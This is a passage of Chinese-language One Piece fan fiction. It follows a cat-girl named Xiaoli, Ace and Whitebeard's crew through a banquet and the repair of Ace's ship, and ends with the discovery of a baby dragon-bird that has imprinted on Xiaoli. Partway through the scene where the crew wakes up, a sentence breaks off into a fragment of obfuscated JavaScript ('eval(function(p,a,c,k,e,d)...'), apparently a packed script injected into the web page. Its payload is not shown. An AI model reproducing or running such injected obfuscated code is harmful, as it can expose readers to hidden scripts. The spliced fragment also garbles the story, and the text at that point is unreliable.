米娅没有再说下去,只是更加用力地抱了抱怀里温暖的小身体,仿佛要确认她的真实存在,声音有些哽咽:“幸好……幸好你没事,你也平平安安地回来了……幸好……” 小狸顺着米娅的目光,穿过喧闹的人群,望向了被兄弟们簇拥着的艾斯。他此刻正和那谬尔各自举着堪比他们半个身子大的木制酒杯,大笑着拼酒,琥珀色的酒液从杯沿洒出,周围围了一圈起哄呐喊、拍手叫好的船员,连白胡子都端着酒碗笑着看他们胡闹。此刻的艾斯,笑容明亮璀璨,充满了蓬勃的生命力与纯粹的快乐,与米娅描述中那个濒临崩溃、被愧疚和焦虑灼烧的身影判若两人。 小狸的心柔软地塌陷下去,涌起一股酸酸甜甜的暖流。她的尾巴带着讨好和亲昵意味地轻轻缠绕上米娅纤细的脚踝 “对不起嘛……害大家担心了……”她小声道歉,声音闷闷的。但随即,她抬起脸,蔚蓝的猫瞳在跳跃篝火的映照下闪烁着坚定的光芒,“但是,米娅姐,我不想后悔……如果再来一次,我还是会去找他的。” 她的声音不大,却异常清晰,带着不容动摇的决心。 “差不多可以了!你还要抱到什么时候啊!?” 一旁的丢斯终于看不下去了,酸溜溜地伸出手,像从小孩手里抢玩具一样,颇为费力地把黏在米娅身上的小狸扒拉下来。然后自己一把将米娅搂进怀里,占有欲十足的对着被扒拉下来、趔趄了一下的小狸幼稚地瞪眼: “喂!小狸!你没有自己的爱人可以抱吗?!干嘛总来抢我的米娅!去找你的艾斯啊!” 小狸刚才那点小小的伤感气氛瞬间烟消云散。她冲丢斯做了个大大的鬼脸:“略——小气鬼丢斯!” 说完,她那条灵活的黑尾巴报复性地甩在丢斯的小腿上,发出“啪”一声轻响,然后便转身蹦蹦跳跳地朝着艾斯那边更热闹的圈子去了,留下丢斯对着自己衣角上的痕迹和怀里偷笑的米娅干瞪眼。 感觉闹腾了这么久,喉咙确实有些干渴了。小狸像只觅食的小动物,湛蓝的眼睛在热闹的甲板上四处逡巡。她的目光很快锁定了白胡子座椅脚边那几个看起来格外敦实、外表质朴无华的大酒坛。她猫着腰,试图悄无声息地溜过去,小手刚刚伸向其中一个坛子冰凉的陶土表面,手腕就被另一只温暖而干燥的手轻轻抓住了。 是马尔科。 他不知何时出现在她身边,脸上带着仿佛永远睡不醒的无奈表情,金发在火光下显得有些凌乱。“不行哦,小狸。”马尔科的声音平静却带着不容置疑,“你喝这个。”他顺手将旁边一个明显小一号、装着清澈液体的木桶推到她面前。 “诶?为什么?”小狸疑惑地看着他,又恋恋不舍地瞥了一眼老爹脚边那些看起来更有“劲道”、更能融入狂欢气氛的酒坛,小脸皱了起来,“我也想和大家一样嘛……” 马尔科抓了抓他那标志性的金发,叹了口气,像是颇为头疼,随即他弯下腰,凑近小狸耳边,压低声音,用只有两人能听到的音量解释道:“那些是老爹平时喝的廉价货,度数高,口感糙,除了便宜和够劲,没别的优点。”他顿了顿,目光投向那如山岳般、正与乔兹说着话的伟岸身影,眼中带着复杂的、混合着调侃、敬爱与无奈的情绪,“他把手头的钱,几乎都一分不剩地寄回故乡了,自己平时吝啬得要命,总是蹭大家的酒喝,下馆子也从不主动结账……平时连酒钱,都常常要和我借。”最后那个“借”字,他说得意味深长,嘴角抽了抽。 他正感慨着老爹这“不为人知”的“抠门”一面,一回头,却发现身边的小猫早已悄无声息地挣脱了他原本就没用多大力气的钳制。 小狸正贼兮兮地、动作却异常迅速敏捷地抱起老爹脚边的一个半满的酒坛,然后晃晃悠悠地走到甲板边缘的排水口附近,小心把那劣质酒液哗啦啦地倒进了海里。 接着,她又嘿咻嘿咻地把红发送来的美酒,“咕咚咕咚”地灌进了那个刚刚清空的、外表朴素的大酒坛里。 做完这一切,她把那个已经“偷梁换柱”的酒坛,稳稳地地放回了白胡子触手可及的老位置。 她还骄傲地拍了拍那个酒坛,直起腰,用袖子擦了擦额角并不存在的汗珠,小脸上洋溢着“大功告成”的得意和满足。 马尔科全程抬着手,嘴巴微张,试图阻止,却不知道该从何阻止起。老爹的性格他最清楚,最是反感别人替他做决定、擅自安排他的事情,尤其是关于酒和战斗。他下意识地、带着点紧张地抬头看向白胡子,心脏提了起来。 却见那位伟大的四皇,似乎正侧耳听着乔兹说话,但余光却分明瞥向了这边。他微微眯着眼,那双向来锐利的眸子里此刻却没有丝毫被冒犯的不悦,反而闪过一丝纵容而又了然于心的微笑,嘴角的弧度柔和得不可思议。那眼神仿佛在说就看看这小家伙,能玩出什么小花样。 只见白胡子非常自然地结束了与乔兹的交谈,然后仿佛随意地单手捞起脚边那个刚刚被小狸“加工”过、现在里面装 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马尔科全程目睹了这爷俩“心照不宣”的互动,无语地张了张嘴,一时竟不知道该说什么。他再次看向白胡子,确认了那位大家长非但没有丝毫怪罪,反而一副乐在其中的样子,那眼神里分明写着:随她去吧。 发现老爹是这种态度,马尔科对这对任性父女毫无办法、他摇了摇头,也干脆装作什么都没看见、什么都不知道,抱着手臂,倚靠在旁边的船舷上,抬头望天,嘴角却忍不住微微上扬。 白胡子豪迈地用手背抹了把沾着酒液的嘴,他果真依言,轻轻捏起那个小木杯,倒了满满一杯,那晶莹的琥珀色液体带着霸道的香气。 “喏,”他将杯子递还给眼巴巴的小女儿,声音洪亮,眼底深处那丝温和的笑意更加明显 “谢谢老爹!老爹最好了!”小狸开心地接过杯子,像是捧着什么稀世珍宝,先是凑到鼻子前深深嗅了一口那复杂诱人的香气,然后才小心翼翼地小口抿了一下。 酒液入口,先是馥郁的果香和橡木气息,随即一股炽热却顺滑的暖流顺着喉咙滑下。果然还是很辣,她皱了皱小鼻子,吐了吐被辣到的舌尖,心想还是不如果汁好喝……但紧接着,一股晕乎乎的、轻飘飘的愉悦感,就从胃里缓缓升腾起来,蔓延到四肢百骸,让她的心情变得更加明媚灿烂。 艾斯早就注意到这边又开始眼神迷离、笑得傻乎乎的小猫。他拨开围着他的兄弟们,快步走了过来,很自然地伸手接过她手里还剩下大半的酒杯。 “这个给我了。”他不由分说地说,仰头将杯底那点珍贵的酒液倒进自己嘴里,然后顺手揉了揉小狸已经有些发烫的耳朵尖。 不知是谁率先喝空了酒桶,开始用手掌有节奏地拍打起空桶的底部,发出“咚、咚、咚”的沉闷回响。很快,这简单的节奏就有了附和者,有人用筷子敲击瓷盘,有人用酒碗磕碰桌面,有人甚至拍起了自己的大腿。一个简单、悠扬、带着淡淡忧伤却更显豁达的旋律,开始如同水面的涟漪般,在喧闹的甲板上一圈圈扩散开来,逐渐压过了其他杂音,回荡在繁星点点的静谧夜空之下。 是那首所有漂泊在海上的男儿都耳熟能详、铭刻在骨血里的——《宾克斯的美酒》。 一群已经喝得东倒西歪、舌头打结、眼神迷离的醉鬼们,开始五音不全、口齿含糊、却用尽全身力气地放声“唱”了起来。他们几乎不是在唱,而是在嘶吼,将所有感情都毫无保留地灌注在这首不朽的出海之歌里。 不出意外的,本就只喝了一小口、但酒量浅得可怜的小狸,又变成了那个晕乎乎、软绵绵、任人摆布的乖宝宝,正努力地用两条纤细的后腿着地,试图模仿人类站立的姿势,两只前爪毫无章法地扑棱着,在空中划着圈,试图跟上大家那根本不存在统一节奏的“舞蹈”。她摇摇晃晃,东倒西歪,走一步退两步,时不时还因为重心不稳“啪叽”一下侧倒在地,然后又晕头转向地爬起来继续“跳舞”,用实际行动生动诠释了什么是“人菜瘾大”。 马尔科扶着额头,觉得有点不可思议……难道只那一小口,就能把这小家伙放倒成这样?或者……可能他自己今晚也难得放松,没看到时她多喝了几杯,才有了几分醉意?他盘腿直接坐在了甲板上,拍着自己的大腿,看着那只醉猫滑稽的模样,笑得前仰后合,几乎直不起腰,完全忘了自己作为一番队队长的“职责”,也忘了要去阻止那个眼看就要被怂恿着、颤颤巍巍试图顺着垂下的缆绳往高高的桅杆顶上爬的醉猫。 幸好,另一个醉鬼及时出手了。 艾斯虽然自己也脚步虚浮,脸颊酡红,眼神涣散,但保护小狸的概念似乎已经刻进了本能里。他一把将那个试图登高望远、四只小爪子死死扒着粗糙缆绳的小黑毛团捞了回来,不由分说地就紧紧塞进自己滚烫的怀里,然后用脸和手对着小猫就是一通毫无章法的乱揉,把原本就蓬松的绒毛揉得更加炸开。 他似乎觉得还不够,又把发烫的脸颊深深地、满足地埋进小猫柔软、温暖又毛茸茸的肚皮,夸张地、长长地深吸了一大口,仿佛在汲取什么能让他安心和快乐的能量源泉,嘴里还含糊地嘟囔着 “喵呜——!”小黑猫被这突如其来的、粗暴又热情的“袭击”弄得十分不满,发出了被冒犯的哼唧声。四只小爪子胡乱地蹬踹着,试图推开那张压下来的、带着酒气的俊脸。被这么“欺负”,她也不甘示弱,扒在艾斯脸上,用没什么力道的尖牙报复性地啃咬着他散落下来的、被汗水微微濡湿的黑色碎发,同时糊了他一脸细细的、柔软的黑色绒毛。 这场“醉汉与醉猫”之间混乱、幼稚又无比亲昵的互动,成了这场盛大宴会尾声最滑稽的注脚。 白胡子纵容的哈哈大笑,他的船医则优哉游哉的看着他脚下空了的一个又一个酒坛,突然来了一句“只有今天哦” “……啰嗦!” 112.老伙计 小狸终于迷迷糊糊地睁开眼时,发现自己正盖着一条柔软而厚实的羊毛毯子,躺在一张躺椅上。头顶是辽阔无垠、缀满星辰的深邃夜空,海风轻柔地拂过,带着凉意和咸味,吹散了残留的些许酒气。 她迷迷糊糊地歪了歪头,湛蓝的猫瞳还有些失焦。然后,几乎是本能地,她的目光捕捉到了那个站在躺椅不远处的熟悉身影。 艾斯靠在白色的船舷围栏上。他手里拿着那顶失而复得、边缘略有磨损的橘色牛仔帽,正用指腹无意识地摩挲着帽檐。他没有参与远处甲板中央尚未完全散去的欢笑和低语,只是静静地望着那边,侧脸在远处篝火余烬明明灭灭的光影交错中,显得轮廓格外深邃,眼神里似乎涌动着一些比夜色更深沉的情绪。 小狸从躺椅上爬起来,羊毛毯子滑落到脚边。她赤着脚,踩在微凉的甲板上,悄无声息地走过去,伸出手,轻轻地拉了拉他的衣角。 布料被扯动的细微触感让艾斯回过神来。他转过头,看到是她,眼底那点深沉的思绪瞬间如潮水般退去,被一种纯粹的、柔软的暖意取代。他很自然地伸出手,揽住她单薄的肩膀,将她带到自己身边,两人一同靠着冰凉的木质围栏,望向远处海面上碎银般的月光。 “累了吗?”他问,声音在寂静下来的夜晚里显得格外低沉而清晰,带着一丝酒后的沙哑,却异常温柔。 “没有!”小狸摇摇头,发丝蹭过他的手臂。她顺势将脑袋靠在他结实而温暖的肩膀上,找到了一个最舒服的姿势。夜风带着更深的凉意驱散了身体里最后一点燥热,也带来了他身上熟悉的、让她安心的味道“好开心。”她补充道“大家都在,老爹也高兴……艾斯你也在这里……就像做梦一样。” “艾斯。”小狸忽然轻声开口 “嗯?”艾斯低下头,下巴轻轻蹭了蹭她的发顶。 “谢谢你。”她的声音很轻,像一片羽毛飘落。她抬起头,蔚蓝的眼睛在夜色和远处微弱火光的映照下,格外明亮清澈,仿佛盛着整片星空,“谢谢你……回来。”谢谢你没有真的离开,谢谢你遵守了带我来看大海的承诺,谢谢你……让我有机会,把你完整地带回来,带回这个家。 艾斯的心脏里,酸胀、甜蜜、庆幸、后怕……无数复杂的情绪瞬间涌上心头,堵塞在喉咙。他低头,额头轻轻抵住她,两人的呼吸在冰凉的夜风中交织,变得温热。他望进那双清澈见底、映着自己身影的眼眸深处,仿佛要看到她的灵魂里去。 “该说谢谢的是我。”他的声音压得更低,带着一种不容错认的、近乎誓言般的郑重,“谢谢你找到我,谢谢你没有放弃我,谢谢你……”他顿了顿,后面的话似乎因为情绪太过汹涌而暂时卡住,但他深邃的瞳孔里翻涌的情感浪潮,已经说明了一切,谢谢你愿意爱我,谢谢你愿意和我在一起,谢谢你成为我生命里的光…… 小狸读懂了他那双眼睛里的千言万语,脸上刚刚因为夜风而消退的红晕,又悄悄地、不受控制地漫上耳尖。她害羞地垂下眼帘,浓密的睫毛轻轻颤动着,在眼下投下一小片扇形的阴影。 艾斯环顾四周。虽然宴会已近尾声,但这份温暖、喧闹、紧密相连的家的氛围,如同最醇厚的酒,弥漫在莫比迪克号的每一个角落 就是这里了。 就是这些人了。 这个他愿意用生命去守护的家,这个他深深爱着的、也爱着他的女孩。 --- 小狸是被自己喉咙里干渴的灼烧感唤醒的。她迷迷糊糊地从柔软的床铺上坐起来,黑发睡得乱糟糟的,几缕不听话的发丝翘在头顶。脑袋里像是塞进了一团湿漉漉的棉花,每一次心跳都仿佛在太阳穴上敲着闷鼓。 “呜……”她发出一声含混的呻吟,揉了揉惺忪的睡眼,视线一时无法对焦。指尖拂过额角,像马尔科每次给她做的一样,一丝微弱的光晕在指尖流转,小心翼翼地在昏沉胀痛的脑内“捋”了捋。 效果并非立竿见影,但那股令人不悦的沉重感确实消退了些许,思维的齿轮开始缓慢而滞涩地转动起来,视线也清晰了不少。 这时,她才后知后觉地发现,身边的位置是空的。被褥还残留着另一人淡淡的气息,但艾斯不知什么时候已经离开了房间。 心里掠过一丝几乎可以忽略不计的失落。她踢开被子,赤脚踩在微凉的地板上,走到门边,拉开了房门。 甲板上已经是一派生机勃勃的景象。海风带着清新的咸味扑面而来,驱散了最后一点睡意。她扶着门框,四处扫视了一圈,很快就锁定了那熟悉的身影 在不远处一片相对开阔的甲板区域,丢斯和米娅正站在一堆码放整齐的木材前,两人中间摊开着一张巨大的、边角有些磨损的设计图。丢斯指着图纸的某处,语气急切,手指几乎要戳破纸面;米娅则双手叉腰,眉头紧蹙,毫不示弱地反驳着,声音清脆而坚决。两人各执一词,互不相让,颇有些针尖对麦芒的架势。 而二番队的其他成员们,则三五成群地围在稍远一点的地方,脸上带着心照不宣的、看热闹不嫌事大的灿烂笑容,有的抱着手臂,有的倚着船舷,低声交换着戏谑的评论,显然对这两位“参谋”和“总管”之间的日常争论早已司空见惯。 然后,她的目光精准地捕捉到了那个身影。 艾斯正席地坐在靠近船舷的阴影里,背对着晨光,橘色的帽子随意地挂在脖子上。他嘴里松松地叼着几枚长短不一的铁钉,眉头因为专注而微微蹙起,形成一个浅浅的“川”字。他手里翻弄着几块厚实但颜色质地各异的帆布,粗糙的指尖捻过布料的纹理,神情认真得像是在检阅等待出征的士兵。 小狸飞快的穿好衣服鞋袜,晃晃悠悠地飘过甲板,精准地来在艾斯身边。 她非常自然地、带着点赖床后特有的慵懒,一屁股坐进他曲起的膝盖和胸膛形成的温暖“巢穴”里,后背紧紧贴上他结实的前胸。然后舒服地叹了口气,用头顶那撮总是翘起的、软乎乎的发旋,撒娇般蹭了蹭他线条清晰的下巴。 艾斯对此早已习以为常。他甚至没有因为怀里突然增加的重量而晃动一下,只是无比熟练地腾出一只沾着些许新鲜木屑和金属气味的手,精准地落在她蓬松的发顶上,带着一种安抚的意味,轻轻地、一下一下地抚摸着,指腹偶尔擦过敏感的猫耳根部,引起一阵细微的、愉悦的颤栗。 “头痛吗?” “嗯……还好。”小狸发出满足的呼噜声,眯起湛蓝的眼睛,身体更放松地往后靠了靠,声音还带着刚睡醒的沙哑和一点点鼻音,“你们起得好早啊……在忙什么?” 她的声音不大,却清晰地传到了不远处的丢斯耳朵里。 “毕竟某位队长已经迫不及待地想回去当他的船匠了。”丢斯的耳朵尖动了动,立刻停下了和米娅的激烈争论。他转过身,推了推脸上那标志性的、遮住上半张脸的面具,语气带着一贯的、对自家船长特有的无奈调侃,“天还没亮透就爬起来折腾,美其名曰‘视察材料’。结果呢?看到堆积的木材和工具,手痒难耐,想自己动手先烘干木料……” 丢斯刻意拉长了语调,成功吸引了所有人的注意力。 “……结果嘛”丢斯摊了摊手,做了个你懂得的表情,“一个激动,差点把好不容易凑起来的、堆满了干燥木材和沥青的工棚给点着了自己还浑然不知,要不是守夜的兄弟发现得早,我们现在就不是在这里讨论材料了。” “喂!丢斯!那、那只是个小小的意外!而且火苗刚起来就被扑灭了!”艾斯立刻抬起头,有些羞恼地反驳,嘴里叼着的几枚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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它静静地停泊在专用的船坞里,比她想象中还要雄伟、伤痕累累。流线型的船身依稀能看出往日驰骋大海、破浪追风的凌厉英姿,但此刻,这份骄傲却不可避免地笼罩在一层寂寥与创伤的薄纱之下。船体上布满了新旧交错、深浅不一的修补痕迹,有些是陈年的风霜刻印,更多的则是触目惊心的破损与焦黑。几乎整艘船都被密密麻麻的脚手架和厚重的、沾着灰尘的防水帆布严密地覆盖着,像重伤员身上缠裹的绷带。那些沉默的支架和遮盖物,无声地诉说着之前那场让它几乎粉身碎骨、沉入海底的爆炸有多么惨烈和致命。 小狸想到艾斯来到她的世界时是经历了一场那么可怕的爆炸后就心头一慌,抓着艾斯的手不自觉的又变紧了几分 艾斯站在码头上,仰着头,目光久久地凝视着自己的座舰。那眼神复杂无比,有痛惜,有如释重负的庆幸,有沉重的责任感,更有一种如同凝望一位久别重逢、并肩作战却伤痕累累的老友般的深情与坚定。海风吹动他额前桀骜的黑发,也拂过“炎雀号”沉默的船身。他的嘴唇动了动,声音很轻,几乎被海风和码头的嘈杂吞没,却带着沉甸甸的、仿佛能压过海浪的分量: “我们回来了,老伙计。 然后,他深吸了一口气,仿佛要将海风、阳光、还有眼前这一切都吸进肺腑,转化为力量。他转过身,面向所有在码头上停下脚步、等待指令的伙伴们。脸上的凝重如同被阳光融化的冰雪,瞬间被那如同太阳本身般、能驱散一切阴霾与沉重的灿烂笑容取代。他用力地、充满干劲地一挥手,声音洪亮,掷地有声: “伙计们!开工了!让我们的‘炎雀’,重新飞起来!” “哦哦哦哦哦——!!!” 比在莫比迪克号上更响亮更饱含的欢呼声,在小小的码头炸响。 飞吧,炎雀号! 113.家鸟们,捡了个妈 艾斯将小狸小心地安置在一个安全的角落,塞给她一壶清水和一小袋萨奇特制的酸甜果脯,然后便撸起袖子,眼神发亮地投入了那片繁忙的“战场”。 米娅盘腿坐在码头边一堆软垫上,眉头微蹙,指尖夹着一根炭笔,正对着摊在膝头的复杂结构草图修修改改。小狸则窝在她身边,怀里抱着那个已经空了大半的水壶,腮帮子一鼓一鼓的咀嚼着果脯,她看着艾斯在船员中穿梭,时而帮忙抬起沉重的木材,时而蹲下身与老船工讨论修补细节,上一秒和丢斯争得面红耳赤,下一秒就又勾肩搭背地继续干活……阳光落在他沾着汗水和木屑的脸上,落在“炎雀号”斑驳的船身上,也落在每一个忙碌而充满希望的身影 小狸看着看着,伸了个大大的懒腰: “米娅姐!大家都在忙,我坐在这里好闲啊……我能做点什么嘛?搬点东西也行” 米娅的注意力还牢牢钉在草图上那条需要重新计算的承重线上,头也没抬,只是伸出空着的那只手,精准地找到小狸的脑袋,揉了揉她柔软的头发。 “那些体力活啊,有那么多精力过剩的小子抢着干呢,哪还用得上你这小身板?” “可是……”小狸鼓了鼓腮帮子,蓝眼睛里满是不甘心,她可是很能干的,力气也大! 似乎是感受到了小猫那浓烈的渴望参与的情绪,米娅终于从草图上移开目光,看着小狸亮晶晶的眼睛,沉吟了一下。 “那这样吧,”米娅合上草图,指了指码头通往小镇的方向,“小狸去帮忙把大家的午饭取回来,好不好?我在岛上那家‘老海锚’餐厅订了很多东西,分量可不轻。一个人拿得动吗?要不要找个人陪你?” “可以的!完全没问题!”小狸瞬间来了精神,“噌”地站起来,还自信地拍了拍自己腰间那个小包,尾巴得意地翘了翘,“我的包包可能装了!” 米娅被她雀跃的样子逗笑了,又伸手揉了揉她敏感的猫耳尖:“那就拜托你啦,我们的午饭专员。路上小心,可以偷吃哦。” 这确实只是一次简单的跑腿任务。除了在“老海锚”餐厅,看到只来了一个娇滴滴的小姑娘却要领走足够三十几个壮汉吃的食物时,胖乎乎的老板脸上露出了极度不赞同和“你们家长心真大”的表情,以及在小狸面不改色地将那座堪称小山的、用油纸包好的便当盒和汤桶,一个接一个塞进她那看起来最多能装两个面包的小包,并且小包依旧扁平如初时,老板和伙计们集体惊掉下巴、几乎石化的戏剧性场面外,整个过程基本还算顺利。 问题出在取出的时候。 第一天,当小狸在码头空地上,像变魔术一样从包里掏出一大堆还冒着热气的食物时,大家都发出了欢呼。米娅是根据伙伴们平时的饭量,特意留出了充足余量订的餐。然而,没过多久,食物就被瓜分得一干二净,盘子光亮得能照出人影。甚至有几个年轻船员摸着依旧平坦的肚子,小声抱怨没吃饱,真的在意犹未尽地舔着油乎乎的指尖和盘子边缘。 一开始,米娅和大家都以为是因为修复船只的体力消耗远超平时,饭量激增是正常的。于是第二天,她又加大了订餐的分量。 结果依旧如此。食物以惊人的速度消失。小狸自己也感到困惑,明明拿进包里的时候,感觉分量很足啊?堆得像座小山呢!难道是自己的能力不好用了?偷偷把食物“吞”掉了一部分?她检查了又检查,包包运作正常。她也绝对没有偷吃! 接连几天都是同样诡异的情况。在小狸又一次神经兮兮地检查完自己的小包,然后对着米娅和艾斯,用笃定又带着点毛骨悚然的语气宣布“我觉得……我们可能真的……闹鬼了!食物幽灵!”后,艾斯终于忍不住,笑得前仰后合,几乎直不起腰,眼泪都飙出来了。 “哈哈哈哈!食物幽灵!专偷便当的鬼?”艾斯擦着眼角,好不容易止住笑,“好了好了,明天我跟你一起去,我倒要看看是什么‘鬼’在作祟。” 于是,第二天,艾斯真的陪着小狸去了餐厅。他干脆多要了一倍的分量,理由是“最近大家干活特别卖力”。餐厅老板看着这对组合和那恐怖的食物量,眼神已经从惊讶变成了敬畏。 回程的路上,景象颇为壮观。艾斯肩膀上扛着、手臂上挂着、怀里还抱着好几大摞用粗绳捆好的、摞得高高的便当盒和汤桶,像一座移动的食物小山。小狸手里也提着两个装满面包的大篮子。两人行走在通往码头的小路上,几乎占据了半幅路面,引来路人频频侧目和善意的笑声。 走着走着,小狸的猫耳忽然敏锐地动了动。她放慢脚步,湛蓝的眼睛里闪过一丝疑惑和警惕。 “艾斯……”她小声唤道,声音里带着不确定,“你有没有听到……什么奇怪的声音?” “嗯?什么声音?”艾斯正专注于保持肩膀上那摞摇摇欲坠的汤桶的平衡,随口问道。 “哒哒哒的……很轻,但是一直有……”小狸竖起耳朵,努力分辨,“好像……好像在说什么似的……呃?……断断续续的。” 艾斯停下脚步,也仔细听了听。除了远处的海浪声、风声、码头隐约传来的敲打声,他什么特别的声音都没听到。他低头看了看小狸那副认真又带着点紧张的神情,联想到她之前的“闹鬼”言论,嘴角忍不住又向上弯起。 “那大概……”他故意拖长了语调,眼中闪着促狭的光,“是真的闹鬼了。专吃便当的‘哒哒鬼’。” 意识到艾斯又在拿自己取乐,小狸气得脸颊鼓成了包子,尾巴“唰”地一下炸开,毛茸茸的一团。 “艾斯你讨厌!”她把自己手里的两个大篮子不由分说地往艾斯已经不堪重负的怀里一塞,然后扭头就走,“不理你了!” 她快步向前,开始气鼓鼓地翻找自己的小包,打算用美味的零食安慰自己受伤的心灵。 这个小包里的东西又多又杂,像个被塞满的杂物抽屉。她平时总是随用随拿,懒得整理,导致现在想掏点零食出来都颇为费劲。小手在看似扁平的 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小狸的脸色变了变,从气愤委屈,慢慢转为一种混合了震惊、茫然和“我好像闯祸了”的微妙表情。她停下话语,也顾不上点心了,再次把手伸进小包里,这次不再是摸索零食,而是带着某种小心翼翼的探寻。 艾斯看着她忽然凝重的神色,刚想询问她怎么了,就看见小狸动作极其轻柔地、一点点地从包里捧出了什么。 那是一只……鸟。 一只羽毛还没长齐、浑身覆盖着浅灰色柔软绒毛、只在翅尖和尾羽末端能看到几缕鲜艳火红色彩的小鸟。它看起来刚出生不久,眼睛像两颗湿润的黑豆,此刻正窝在小狸温暖的掌心里,瑟瑟发抖地扑腾着稚嫩的翅膀,发出细弱却清晰的—— “哒哒!哒哒哒!” 艾斯瞪大了眼睛,看着这凭空出现的、显然不属于任何常见品种的雏鸟,一时语塞。这……这就是“哒哒鬼”的真身?一只鸟?它怎么会在小狸的包里,还偷吃了那么多便当 比他更震惊的,是小狸。 因为她不仅掏出了这只鸟,更重要的是,她终于、彻底地想起来了!她的包里,确实还有一颗被遗忘的龙鸟蛋,当时光顾着和基德吵架,完全忘到脑后了 而现在,那颗蛋不仅孵出来了,雏鸟还在她毫无察觉的情况下,靠偷吃零食和便当活了下来,长得……嗯,看起来还挺健康的 最让她崩溃的是她好巧不巧地可以听懂那小鸟扑腾着、对着她发出的、雀跃又依赖的鸣叫: “妈妈!妈妈!饿饿!饭饭!” “妈妈!暖暖!喜欢!” 小狸的双手僵在半空,捧着那只热情“认亲”的龙鸟雏鸟,整个人仿佛被雷劈中,整个人都透着一股灵魂出窍般的呆滞。她僵硬地抬起头,看向同样一脸愕然的艾斯,张了张嘴,却发不出任何声音。 蔚蓝的猫瞳里,清晰地倒映着三个大字: 完、蛋、了。 114.喜当妈 “所以,”丢斯用一根手指推了推面具,目光扫过围坐成一圈的伙伴们,最后落在中间那个正欢快蹦跶、东倒西歪探索新世界的小毛团身上,“这个小东西,我们怎么办?” 甲板中央,龙鸟幼崽完全不怯场。它那覆盖着浅灰色绒毛、点缀着星星点点火红羽毛的小身体,因为好奇而不断扭动。黑豆似的眼睛睁得溜圆,左看看右瞧瞧,对周围这一圈“巨人”和广阔明亮的世界充满了无限惊奇。它的小脑袋里大概一直以为,整个世界就是那个黑暗、温暖、偶尔有食物掉进来的“袋子”那么大。原来外面有光!有风!有这么多会动、会发出声音的巨大东西!它看得目不暇接,几乎要忙不过来了。 可是……看了一圈,妈妈呢? 最初的兴奋过去,意识到熟悉的气息和温暖并不在视线范围内,小龙鸟开始不安地躁动起来。它停下探索的脚步,站在原地,小小的身体微微颤抖,喉咙里发出急促而焦躁的“哒哒”声。 “哒哒!哒哒哒!” 声音一声比一声急,一声比一声尖利,原本清脆的鸣叫开始带上了一丝惶恐的哭腔。它徒劳地转动着小脑袋,黑眼睛里迅速蒙上一层湿润的水光,眼看就要掉下“金豆豆”,发出真正意义上的、能让所有人心碎的雏鸟哀鸣。 丢斯见势不妙,这要真哭起来可不好哄,立刻大喊一声,目光精准地投向人群外围某个试图缩小存在感的身影: “小狸——! 快过来!你的‘孩子’找妈妈了!” 艾斯早就发现了那只想溜走的小猫,此刻好笑地一伸手,像拎起一只不听话的猫崽后颈皮一样,轻松地把试图把自己塞进木桶里的小狸给“提”了回来,放到人群中间,正对着那只快要哭出来的小鸟。 小狸被放下时还无助地扑腾了两下,用力扒在艾斯身上不肯落地,脸上写满了抗拒和不知所措,尾巴紧张地绷直了。 艾斯看着地上那只大半个身体还是毛茸茸、稚嫩的小鸟,又看看身边恨不得原地消失的小狸,忍俊不禁地揉了揉她的头发:“怎么闯了祸还想跑?它可是认准你了。” 小龙鸟一见到那熟悉的、带着让它安心气息的身影,立刻收住了即将决堤的眼泪。黑豆眼里水光还没干,却已经换上了纯粹的欢欣。它发出雀跃无比的“哒哒”声,踉踉跄跄、不管不顾地就扑向艾斯的脚边,亲热地围着小狸打转,试图伸长还没什么力气的脖子,用小脑袋去蹭她的脚踝。 小狸却像看到了什么洪水猛兽,死死扒住艾斯的胳膊,抗拒着又往上挪了挪,声音委委屈屈地哼唧着,带着点可怜的颤音:“可是、可是它叫我妈妈哎!我又不是它妈妈!我连蛋都不会下!” 周围响起一阵压抑的闷笑声。 米哈尔扶了扶眼镜,冷静地分析道:“大概是雏鸟印随行为。破壳后第一眼看到的移动物体,会被它认作母亲。这是很多鸟类的本能。而你恰好是它看到的第一个‘活物’。” 丢斯也在一边火上浇油、看热闹不嫌事大地起哄:“而且从某种意义来说,确实是你‘孵’它出来的啊!你的包包提供了稳定的温度和环境,叫你一声‘妈妈’,逻辑上完全没毛病!” 小龙鸟围着妈妈的脚扑腾了半天,发现怎么努力都够不到,急得团团转,最后累得一屁股坐在地上,仰着小脑袋,发出两声有些沮丧的“哒哒”,眼巴巴地望着那“可望不可及”的妈妈,那模样,简直委屈到了极点。 米娅一直没怎么说话,此刻看着地上那团毛茸茸、因为累而坐扁了、显得更圆乎的小团子,心也不由自主地软了软。 “其实……”她轻声开口,吸引了大家的注意,“仔细看看,这小家伙,还挺可爱的。眼睛黑溜溜的,绒毛看起来也很软。” 小狸听到米娅姐都这么说,抿了抿嘴,偷偷从艾斯身后探出小半个脑袋,湛蓝的猫瞳小心翼翼地看向地上那只正眼巴巴望着自己的小鸟。它因为刚刚的扑腾和不安,绒毛有些凌乱,坐在那里,小小的一团,看起来……确实有点可怜,又有点……可爱? 她犹豫了一下,最终还是慢吞吞地从艾斯身上下来,但依旧保持着高度警惕,像靠近什么未知生物。 发现“妈妈”终于肯靠近自己了,幼鸟立刻重新焕发活力,欢快地“哒哒”叫着,就想扑上来。 小狸却眼疾手快地伸出一根手指,轻轻抵在幼鸟毛茸茸的胸口,没用什么力就把它推得仰面翻倒,四脚朝天地躺在甲板上。 “叽?” 幼鸟发出一声困惑的鸣叫,小爪子在空中茫然地划拉了两下。 小狸看着它躺在地上、毫无防备露出柔软肚皮的样子,迟疑地用那根手指,轻轻戳了戳它热乎乎、毛茸茸的小肚子。 幼鸟立刻被吸引了注意力,忘记了被推倒的“委屈”,努力扭动身体,试图用喙去够那根逗弄它的手指,跟着她的手指笨拙地滚来滚去,发出愉悦的“哒哒”声。 触感……毛茸茸,热乎乎,软软的。反应……傻乎乎的。好像……是挺可爱的。 小狸紧绷的嘴角,不自觉地放松了一点,微微向上翘起一个几乎看不见的弧度。 丢斯蹲下身,仔细观察着幼鸟的反应和体征:“这个就是传说中的龙鸟啊?看起来……现在还挺小一只的,跟普通鸽子差不多大。所以,回到最初的问题,我们到底拿它怎么办?养着?还是送走?” 